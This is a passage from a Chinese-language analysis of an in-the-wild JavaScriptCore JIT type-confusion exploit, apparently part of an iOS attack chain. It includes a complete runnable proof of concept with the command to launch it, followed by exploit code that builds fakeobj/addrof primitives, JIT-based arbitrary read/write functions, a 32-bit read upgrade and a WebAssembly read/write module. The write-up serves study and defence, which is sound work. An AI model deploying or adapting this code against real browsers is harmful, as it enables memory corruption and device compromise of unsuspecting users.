      x0 = 0x0000000000000000       x0 = 0x0000000000000000
      x0 = 0x0000000000000000
      x0 = 0x0000000000000000
      x0 = 0x0000000000000000
      x0 = 0x0000000000000000
      x0 = 0x0000000000000000
      x0 = 0x0000000000000000
      x0 = 0x0000000000000000
      x0 = 0x0000000000000000
      x0 = 0x0000000000000000
      x0 = 0x0000000000000000
确实,查看回溯跟踪,[0] 在 CFA 中,[1] 在常量折叠阶段。
成功类型混淆的版本生成以下 Air 汇编:
TEXT
Air BB#8: ; frequency = 1.000000
Air   Predecessors: #6, #7
Air     Move 8(%tmp20), %tmp37                  ; 加载 structS1 butterfly
Air     Move -16(%tmp37), %tmp25                ; 从 butterfly 加载 p1
                                                 ; v-- 错误的 cell 标签时退出
Air     Patch &BranchTest64(3,SameAsRep)1, NonZero, %tmp25, 0xfffe000000000002, %tmp25, %tmp25
Air     Move 8(%tmp25), %tmp24                  ; 获取 p1 butterfly
Air     Move32 -8(%tmp24), %tmp34               ; 从 butterfly 加载 publicLength
Air     Move $1, %tmp35                         ; [1] 索引
                                                 ; v-- 边界检查
Air     Patch &Branch32(3,SameAsRep)3, BelowOrEqual, %tmp34, $1, %tmp25
Air     MoveDouble 8(%tmp24), %ftmp1            ; 从 butterfly[1] 原始 double 加载
Air BB#8: ; frequency = 1.000000
Air   Predecessors: #6, #7
Air     Move 8(%x2), %x0                        ; 加载 obj butterfly
Air     Move -16(%x0), %x1                      ; 从 butterfly 加载 p1
Air     Patch &Patchpoint0, $0x1034f4150        ; ???
Air     Move $0xfffe000000000002, %x0           ; 获取预期的 cell 标签
Air     Patch &BranchTest64(3,SameAsRep)1, NonZero, %x1, %x0, %x1, %x1 ; 错误的 cell 标签时退出
Air     Move 8(%x1), %x0                        ; 获取 typeConfused butterfly
Air     Move32 -8(%x0), %x2                     ; 从 butterfly 加载 publicLength
Air     Patch &Branch32(3,SameAsRep)3, BelowOrEqual, %x2, $1, %x1 ; 边界检查
Air     MoveDouble 8(%x0), %q0                  ; typeConfused[1] 作为 double 加载
Air     Patch &BranchDouble(3,SameAsRep)4, DoubleNotEqualOrUnordered, %q0, %q0, %x1 ; ???
Air     Move $0x780e0000b0, %x2                 ; f64Arr 后端
Air     MoveDouble %q0, (%x2)                   ; 将 typeConfused[1] 存储到 f64Arr[0]
Air     Patch &Patchpoint0, $0x10206e488        ; ???
Air     Patch &Patchpoint0, $0x10206e3c8        ; ???
Air     Move32 (%x2), %x4                       ; 作为 int 加载 i32Arr[0]
Air     Move $65536, %x3                        ; 指针移位的增量
Air     AddLeftShift64 %x3, %x4, $12, %x3
Air     Rshift64 %x3, $12, %x3
Air     Move32 %x3, (%x2)                       ; 将增加的指针存回 i32Arr[0]
Air     Patch &Patchpoint0, $0x10206e3c8        ; ???
Air     MoveDouble (%x2), %q0                   ; 作为 double 加载增加的指针
Air     Patch &Patchpoint0, $0x10206e488        ; ???
Air     Patch &BranchDouble(3,SameAsRep)4, DoubleNotEqualOrUnordered, %q0, %q0, %q0, %x1, %q0 ; ???
Air     MoveDouble %q0, 8(%x0)                  ; 将增加的指针存回 typeConfused[1]
Air     Move $10, %x0
Air     Ret64 %x0
另一项对我有帮助的工作是查看所有变量的结构 ID。为此我们可以下载一个有漏洞的 JSC 版本,然后使用 describe 打印结构 ID:
TEXT
创建后
Object: 0x1064f4150 with butterfly 0x0(base=0xfffffffffffffff8) (Structure 0x30000a780:[0xa780/42880, Object, (0/0, 0/0){}, NonArray, Proto:0x106444180, Leaf]), StructureID: 42880
Object: 0x1064f4160 with butterfly 0x0(base=0xfffffffffffffff8) (Structure 0x30000a780:[0xa780/42880, Object, (0/0, 0/0){}, NonArray, Proto:0x106444180, Leaf]), StructureID: 42880
p1/p2 赋值后
Object: 0x1064f4150 with butterfly 0x70630026c8(base=0x70630026a0) (Structure 0x30000a860:[0xa860/43104, Object, (0/0, 2/4){p1:64, p2:65}, NonArray, Proto:0x106444180, Leaf]), StructureID: 43104
Object: 0x1064f4160 with butterfly 0x70630026e8(base=0x70630026c0) (Structure 0x30000a860:[0xa860/43104, Object, (0/0, 2/4){p1:64, p2:65}, NonArray, Proto:0x106444180, Leaf]), StructureID: 43104
structS3.p2 删除后
Object: 0x1064f4150 with butterfly 0x70630026c8(base=0x70630026a0) (Structure 0x30000a860:[0xa860/43104, Object, (0/0, 2/4){p2:65, p1:64}, NonArray, Proto:0x106444180]), StructureID: 43104
Object: 0x1064f4160 with butterfly 0x70630026e8(base=0x70630026c0) (Structure 0x30000a8d0:[0xa8d0/43216, Object, (0/0, 2/4){p1:64}, NonArray, Proto:0x106444180, Leaf]), StructureID: 43216
structS3.p1 删除后
Object: 0x1064f4150 with butterfly 0x70630026c8(base=0x70630026a0) (Structure 0x30000a860:[0xa860/43104, Object, (0/0, 2/4){p2:65, p1:64}, NonArray, Proto:0x106444180]), StructureID: 43104
Object: 0x1064f4160 with butterfly 0x70630026e8(base=0x70630026c0) (Structure 0x30000a940:[0xa940/43328, Object, (0/0, 2/4){}, NonArray, Proto:0x106444180, Leaf]), StructureID: 43328
structS3.p1 赋值后
Object: 0x1064f4150 with butterfly 0x70630026c8(base=0x70630026a0) (Structure 0x30000a860:[0xa860/43104, Object, (0/0, 2/4){p2:65, p1:64}, NonArray, Proto:0x106444180]), StructureID: 43104
Object: 0x1064f4160 with butterfly 0x70630026e8(base=0x70630026c0) (Structure 0x30000a9b0:[0xa9b0/43440, Object, (0/0, 2/4){p1:64}, NonArray, Proto:0x106444180, Leaf]), StructureID: 43440
structS3.p2 赋值后
Object: 0x1064f4150 with butterfly 0x70630026c8(base=0x70630026a0) (Structure 0x30000a860:[0xa860/43104, Object, (0/0, 2/4){p2:65, p1:64}, NonArray, Proto:0x106444180]), StructureID: 43104
Object: 0x1064f4160 with butterfly 0x70630026e8(base=0x70630026c0) (Structure 0x30000aa20:[0xaa20/43552, Object, (0/0, 2/4){p1:64, p2:65}, NonArray, Proto:0x106444180, Leaf]), StructureID: 43552
structS1.p2 删除后
Object: 0x1064f4150 with butterfly 0x70630026c8(base=0x70630026a0) (Structure 0x30000a8d0:[0xa8d0/43216, Object, (0/0, 2/4){p1:64}, NonArray, Proto:0x106444180]), StructureID: 43216
Object: 0x1064f4160 with butterfly 0x70630026e8(base=0x70630026c0) (Structure 0x30000aa20:[0xaa20/43552, Object, (0/0, 2/4){p1:64, p2:65}, NonArray, Proto:0x106444180, Leaf (Watched)]), StructureID: 43552
structS1.p1 删除后
Object: 0x1064f4150 with butterfly 0x70630026c8(base=0x70630026a0) (Structure 0x30000a940:[0xa940/43328, Object, (0/0, 2/4){}, NonArray, Proto:0x106444180]), StructureID: 43328
Object: 0x1064f4160 with butterfly 0x70630026e8(base=0x70630026c0) (Structure 0x30000aa20:[0xaa20/43552, Object, (0/0, 2/4){p2:65, p1:64}, NonArray, Proto:0x106444180, Leaf (Watched)]), StructureID: 43552
structS1.p1 赋值后
Object: 0x1064f4150 with butterfly 0x70630026c8(base=0x70630026a0) (Structure 0x30000a9b0:[0xa9b0/43440, Object, (0/0, 2/4){p1:64}, NonArray, Proto:0x106444180]), StructureID: 43440
如果你想的话可以自己尝试 PoC(点击展开)
TEXT
let victimObj = {prop1: 1, prop2: 2}; // 漏洞利用最终将在此对象上获得一个损坏的指针,使其不再指向对象头部而是指向 prop1&prop2,从而允许我们伪造一个对象
let fakeFloatArr = [1.1, victimObj];

let floatArrWProp1 = [1.1, 1.1];
floatArrWProp1.prop = 1.1;
let floatArrWProp2 = [1.1, 2.2];
floatArrWProp2.prop = 1.1;

function newTarget() {}
let structS1 = Reflect.construct(Object, [], newTarget);
let structS3 = Reflect.construct(Object, [], newTarget);
//print("创建后"); print(describe(structS1)); print(describe(structS3));
// 42880/42880
structS1.p1 = floatArrWProp1;
structS1.p2 = floatArrWProp1;
structS3.p1 = 0x1337;
structS3.p2 = 0x1337;
//print("p1/p2 赋值后"); print(describe(structS1)); print(describe(structS3));
// 43104/43104
delete structS3.p2;
// print("structS3.p2 删除后"); print(describe(structS1)); print(describe(structS3));
// 43104/43216
delete structS3.p1;
// print("structS3.p1 删除后"); print(describe(structS1)); print(describe(structS3));
// 43104/43328
structS3.p1 = 0x1337;
// print("structS3.p1 赋值后"); print(describe(structS1)); print(describe(structS3));
// 43104/43440
structS3.p2 = 0x1337;
// print("structS3.p2 赋值后"); print(describe(structS1)); print(describe(structS3));
// 43104/43552

let compilerSlowDownObj = {}; // {guard_p1: 1}; // {guard_p1: 1,p1: [1.1, 2.2]};

// 用于混淆的数组
let i32Arr = new Uint32Array(2);
let f64Arr = new Float64Array(i32Arr.buffer);

function toJIT(useS3, skipEverything) {
    // 这是为了让 JIT 永远不会看到 obj 变成结构类型 2(这在删除后可能发生)
    if (skipEverything) {return;}

    let obj = structS1;
    if (useS3) {
        obj = structS3;
        // JIT 屏障 - 这可能有副作用,所以 JIT 必须忘记 obj 的类型
        (0)[0]
    }

    // 减慢编译器
    let slowdownLoopCnt = 0;
    while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;

    // 原始漏洞利用这样做 - 我假设是为了在这里强制类型检查而不是稍后做 - 但我可以移除它仍然崩溃
    /*"uo" in obj;*/
    let typeConfused = obj.p1; // JIT 编译器假设 typeConfused 是一个包含两个浮点数的数组
    if (useS3) typeConfused = floatArrWProp2;
    f64Arr[0] = typeConfused[1]; // 由于上面的假设,这是一个简单的存储
    i32Arr[0] = i32Arr[0] + 16;
    typeConfused[1] = f64Arr[0]; // 这也是一个简单的存储

    // 再次减慢编译器
    while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;
    while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--; while (slowdownLoopCnt < 1) {compilerSlowDownObj.guard_p1=1;slowdownLoopCnt++;}slowdownLoopCnt--;

}

// 现在他们需要 JIT 这个函数
const jitIterTotal = 0x1000000;
const jitIterTrain = 0x20000;
for (let jitIterCnt = 0; jitIterCnt < jitIterTotal; jitIterCnt++) {
    if (jitIterCnt > jitIterTrain) {
        // 强制编译
        toJIT(false,true);
    }else{
        // 训练
        toJIT(jitIterCnt % 2 && jitIterCnt < 256, jitIterCnt > 4096);
    }
    if (jitIterCnt == jitIterTrain) {
        delete structS1.p2;
        // print("structS1.p2 删除后"); print(describe(structS1)); print(describe(structS3));
        // 43216 / 43552
    }
}

// 现在函数有望被错误编译
for (let t = 0; t < 0x100000; t++) new Array(13.37, 13.37, 13.37, 13.37); // 强制 GC(假设因为调用 gc() 也可以)
delete structS1.p1; // 完全剥离签名?
//print("structS1.p1 删除后"); print(describe(structS1)); print(describe(structS3));
// 43328 / 43552
structS1.p1 = fakeFloatArr;
// print("structS1.p1 赋值后"); print(describe(structS1)); print(describe(structS3));
// 43440 / 43552
structS1.p2 = 1;
// print("structS1.p2 赋值后"); print(describe(structS1)); print(describe(structS3));
// 43552 / 43552
// 此时 structS1 又是 structS3 了,所以我们可以调用函数而不会进入慢路径
toJIT(false,false); // 如果一切顺利,这将损坏 fakeFloatArr[1] 使其指向 victimObj+0x10 而不是 victimObj

// 现在强制崩溃
let converter32 = new Uint32Array(2);
let converterFloat = new Float64Array(converter32.buffer);
let i32objtofloat = function (t) {converter32[0] = t[0]; converter32[1] = t[1] - 0x20000; return converterFloat[0]}
victimObj.prop1 = i32objtofloat([201527, 16783110]); // 有效的 JS 对象头部?
JSON.stringify(structS1) // 只是触发崩溃
并通过以下方式调用:
TEXT
DYLD_FRAMEWORK_PATH=./272535@main/Release/ ./272535@main/Release/jsc poc.js

3.2.4. 在 cassowary 模块中的集成

cassowary 模块包含两个函数:一个导出函数用于执行单次漏洞利用尝试,另一个是包含实际漏洞利用及所有相关代码的主函数。这个较大的函数包含:
  • 相关偏移量
  • 一个根据 iOS 版本更改偏移量的函数
  • 辅助函数
  • 一个包含实际漏洞利用的大函数
  • 一个在后台工作线程中运行漏洞利用的函数
  • 一个读写类
  • 一个处理 64 位数字的类
  • 主代码:检测是否在工作线程中运行,如果不是则创建一个,然后在其内部运行漏洞利用
使用工作线程的目的可能是为漏洞利用提供一个干净的执行环境,以提高确定性,并允许通过重启工作线程轻松重试。在工作线程中获得读写原语后,它通过损坏主线程的栈将其传输到主线程(稍后详述),这非常巧妙,而且不会给设计增加太多复杂性,所以我认为他们使用工作线程的决定是合理的。
内部漏洞利用函数包含辅助函数和五个主要函数:
  • 触发漏洞并获取未对齐指针(在上一节中描述)
  • 利用它获得早期读写能力
  • 将早期读写升级为稳定读写
  • 测试读写原语
  • 清理
  • 将读写原语导出到主线程

3.2.5. 从未对齐指针获得早期读写能力

他们从类型混淆中获得的未对齐指针现在指向 victimObj 的 prop1 和 prop2,访问它意味着引擎将 prop1 解释为伪造的 JSCell 头部,将 prop2 解释为对象的 butterfly 指针。这基本上是一个经典的 fakeobj 原语。
由此,漏洞利用将通过创建一个伪造的浮点数组对象(通过 prop1 中的伪造 JSCell 头部)来创建 addrof 原语,该对象有一个 butterfly 指针指向另一个 JS 对象(通过将 prop2 设置为 targetObj)。然后对伪造浮点数组的任何元素访问都将跟随 butterfly 指针到 targetObj 并允许在其上进行读写。对于 addrof,攻击者只需将一个对象放入 targetObj 的内联属性之一,然后从伪造浮点数组中的该索引读取以获取对象的地址。
然而实际情况并非如此简单,因为引擎可能会执行检查并拒绝伪造的浮点数组。因此,漏洞利用实际上围绕其 JIT 编译的函数构建 addrof 原语,以规避这些检查。这也带来了次要收益:提供相对越界写入原语:
TEXT
function jittedWriter(t, n) {
    let r = exploit_module.gRWArray1[0];
    f64_arrbuf7[0] = r[2];
    f64_arrbuf7[1] = r[4];
    f64_arrbuf7[2] = r[5];
    f64_arrbuf7[3] = r[0];
    f64_arrbuf7[4] = r[1];
    r = exploit_module.gRWArray1[2];
    r[t] = n
}
他们从 exploit_module.gRWArray1[0] 复制 5 个浮点数到另一个全局数组,然后向 exploit_module.gRWArray1[2] 的任意索引写入一个浮点数。
我假设使用这些索引的原因是为了防止 JIT 同时加载 gRWArray1[0]gRWArray1[2],或将 5 次加载优化为向量加载。
他们在索引 0 和 2 都是训练对象时 JIT 这个函数:
TEXT
let training_obj_mbe = {p1: 1, p2: 1, length: 16};
Array.prototype.fill.call(training_obj_mbe, 1.1);
[...]
exploit_module.gRWArray1[0] = training_obj_mbe;
exploit_module.gRWArray1[2] = training_obj_mbe;
for (let t = 0; t < 0x100000; t++) jittedWriter(1, 1.1);
然后他们创建这个 addrof 函数:
TEXT
m.addrof = function(n) { // po
    targetObj.b1 = n; // 在 butterfly 中设置对象
    exploit_module.gRWArray1[2] = training_obj_mbe; // 避免 obj 2 的副作用(该函数是双用途的)
    jittedWriter(1, 1.1); // 触发
    return f64_to_num(f64_arrbuf7[0]) // 现在他们可以从数组中读取浮点数然后将其转换回数字
};
这个函数操作一个特别损坏的 exploit_module.gRWArray1[0],其设置如下:
TEXT
exploit_module.gRWArray1[0] = exploit_module.type_confused_float_arr[1];
exploit_module.type_confused_float_arr[1] = null;
其中 type_confused_float_arr[1] 是上一阶段中偏移 +0x10 的指针,指向对象的属性,允许他们伪造任意的 JS Cell 头部。
我们有一个未对齐指针指向的对象的设置如下:
TEXT
var fakeHdr = exploit_module.hdr2float([0x31337, 0x1001706]); // m_indexingTypeAndMisc: 6 (NonArrayWithDouble) m_type: 23 (ObjectType) m_flags: 0, m_cellState: 1 (DefinitelyWhite)
exploit_module.flaky_obj.lo = fakeHdr;
exploit_module.flaky_obj.co = targetObj;
所以总结一下:此时 exploit_module.gRWArray1[0] 指向 flaky_obj+0x10(得益于上一阶段/漏洞),那里有一个伪造的 JS Cell 头部,结构 ID 为 0x31337,类型标志为 0x1001706,编码为双精度数组,后面跟着一个指向 targetObj 的伪造 butterfly。然后他们有一个操作浮点数组的 JIT 函数,其类型检查会看到伪造头部的类型并通过,然后作为浮点数组访问 butterfly,允许他们将 targetObj 的 b1 属性作为浮点数读取。因此,通过在该属性中存储一个对象,然后调用 JIT 函数,他们可以获得任何 JS 对象的 addrof 原语。
旁注:hdr2float 特别从头部值的第二部分减去 0x20000,这是因为运行时会将第 49 位设置为”装箱”此值——基本上将其标记为浮点数,代码必须考虑到这一点。
目标对象被 256 个对象在下方和另外 256 个对象在上方包围。我认为对于这一步,上面的 Eden GC 可能很重要,因为他们需要保证 obj_before_target 或 obj_after_target 紧挨着目标对象,以便后续的读写。
我不完全理解为什么要在 targetObj 之后再喷射 256 个对象。我认为他们可以用更少的对象就能完成。
TEXT
exploit_module.tmpOptArr = [];
for (let t = 0; t < 256; t++) exploit_module.tmpOptArr[t] = {a1: 3.14, a2: 1.1};
let targetObj = {b1: exploit_module.ref2};
targetObj[0] = 1.1;
targetObj[1] = 1.1;
targetObj[2] = 1.1;
targetObj[3] = 1.1;
targetObj[4] = 1.1;
for (let t = 256; t < 512; t++) exploit_module.tmpOptArr[t] = {a1: 3.14, a2: 1.1};

// 目标对象前后的两个对象似乎也很重要
let obj_after_target = exploit_module.tmpOptArr[256]; // l
obj_after_target[0] = 1.1;
obj_after_target[1] = 1.1;
obj_after_target[2] = 1.1;
obj_after_target[3] = 1.1;
obj_after_target[4] = 1.1;
let obj_before_target = exploit_module.tmpOptArr[255]; // c
obj_before_target[0] = 1.1;
obj_before_target[1] = 1.1;
obj_before_target[2] = 1.1;
obj_before_target[3] = 1.1;
obj_before_target[4] = 1.1;
之后他们基于 Float64 数组获得读写能力。这是通过首先获取对象的合法结构 ID 并将其设置在 targetObj 上来完成的。
之后他们使用 addrof 原语找出哪个对象在 targetObj 后面,并读取浮点数组的地址以及 targetObj 的 butterfly 指针。
然后他们使用相对越界写入原语损坏与 targetObj 相邻对象的 butterfly 指针,使其指向浮点数组的 butterfly 指针(这样他们就可以覆盖它)。
最后他们 JIT 两个函数:一个覆盖浮点数组的 butterfly 指针指向任意地址然后从中读取/写入,之后将其重置为 targetObj 的值。同样,我不确定为什么他们决定将浮点数组的 butterfly 指针重置为 targetObj 的值而不是原始值。

3.2.5.1. 读写函数详细分析

(点击展开)
读写函数如下,并以如下方式被 JIT 编译:
TEXT
function read_jit() {
    let float_arr = rw_pair[0];
    let float_arr_obj = rw_pair[1];
    float_arr[2] = 3.3;
    float_arr_obj[0] = f64_arrbuf7[0]; // 要读取的地址
    useless[1] = 3.3;
    f64_arrbuf7[0] = float_arr[0]; // 正在读取的值
    float_arr_obj[0] = f64_arrbuf7[1]; // 重置
    return f64_arrbuf7[0] // 返回读取的值
}
for (let t = 0; t < 1048576; t++) {
    useless = new Array(1, 2, 3);
    read_jit(t + 3.3);
    read_jit(t + .1)
}

function write_jit() {
    let float_arr = rw_pair[0];
    let float_arr_obj = rw_pair[1];
    float_arr[2] = 3.3;
    float_arr_obj[0] = f64_arrbuf7[0];
    useless[1] = 3.3;
    float_arr[0] = f64_arrbuf7[2];
    float_arr_obj[0] = f64_arrbuf7[1]
}
for (let t = 0; t < 1048576; t++) {
    useless = new Array(1, 2, 3);
    write_jit(t + 3.3, 13.37);
    write_jit(t + 3.3, 13.37)
}
rw_pair 包含 butterfly 指针被损坏的浮点数组和相邻对象,其 butterfly 指针指向该数组的 butterfly 指针。
我假设 useless 以及对浮点数组本身的访问的原因仅仅是为了生成有利的 JIT 模式。推测他们无法证明 useless 是无副作用的,所以需要在 JIT 中重新加载 butterfly 指针,然后立即重置以避免 GC 问题。
之后他们升级了读取原语,我假设是为了能够读取所有值,而不仅仅是有效的浮点数。为此他们利用了 butterfly 的长度存储在 butterfly 本身内部这一事实,所以当他们修改数组的 butterfly 指针然后访问数组的 length 属性时,他们获得了一个 32 位读取。这同样是用 JIT 代码完成的,我假设是为了避免运行时检查。此时他们也将 addrof 原语升级为使用读取而不是原始版本,可能同样是为了能够读取所有值。

3.2.5.2. 32 位读取函数详细分析

(点击展开)
首先他们需要 JIT 获取长度的读取函数:
TEXT
let read_abused_arr = new Array(4096).fill(13.37);
function jitted_read_abused_arr_len() {
    return read_abused_arr.length
}
for (let t = 0; t < 0x100000; t++) jitted_read_abused_arr_len(t + .1);
然后他们设置读取:
TEXT
const read_abused_arr_addr = m.addrof(read_abused_arr);
const read_abused_arr_orig_backend_ptr = m.read(read_abused_arr_addr + 8);
m.stage2_read = function(t) { // Ys
    m.write_v1(read_abused_arr_addr + 8, t + 8);
    let i = jitted_read_abused_arr_len();
    m.write_v1(read_abused_arr_addr + 8, read_abused_arr_orig_backend_ptr);
    return i >>> 0
};
并且还提供了多个版本的读写原语,读取不同的大小和类型。
最后他们通过在数组中设置值然后用读取函数读取它们来验证他们的原语,然后用写入函数更改它们并从 JS 中读回。
至此,读写原语本身已告完成,但他们还需要将这些原语传递给一个读写类。这个类使用 WebAssembly 来进行实际的读写,所以让我们接下来看看这个。

3.2.6. WebAssembly 读写类

wasm 读写类初始化了两个非常简单的 wasm 模块:
TEXT
(module
(type (;0;) (func (result i64)))
(type (;1;) (func (param i64)))
(func (;0;) (type 0) (result i64)
    global.get 1)
(func (;1;) (type 1) (param i64)
    local.get 0
    global.set 1)
(table (;0;) 1 externref)
(memory (;0;) 1)
(global (;0;) (mut v128) (v128.const i32x4 0x33333333 0x33333333 0x33333333 0x33333333))
(global (;1;) (mut i64) (i64.const -6067004223159161907))
(global (;2;) (mut v128) (v128.const i32x4 0x33333333 0x33333333 0x33333333 0x33333333))
(global (;3;) (mut externref) (ref.null extern))
(global (;4;) (mut externref) (ref.null extern))
(global (;5;) (mut externref) (ref.null extern))
(global (;6;) (mut externref) (ref.null extern))
(global (;7;) (mut externref) (ref.null extern))
(export "edfy" (global 1))
(export "memory" (memory 0))
(export "btl" (func 0))
(export "alt" (func 1)))
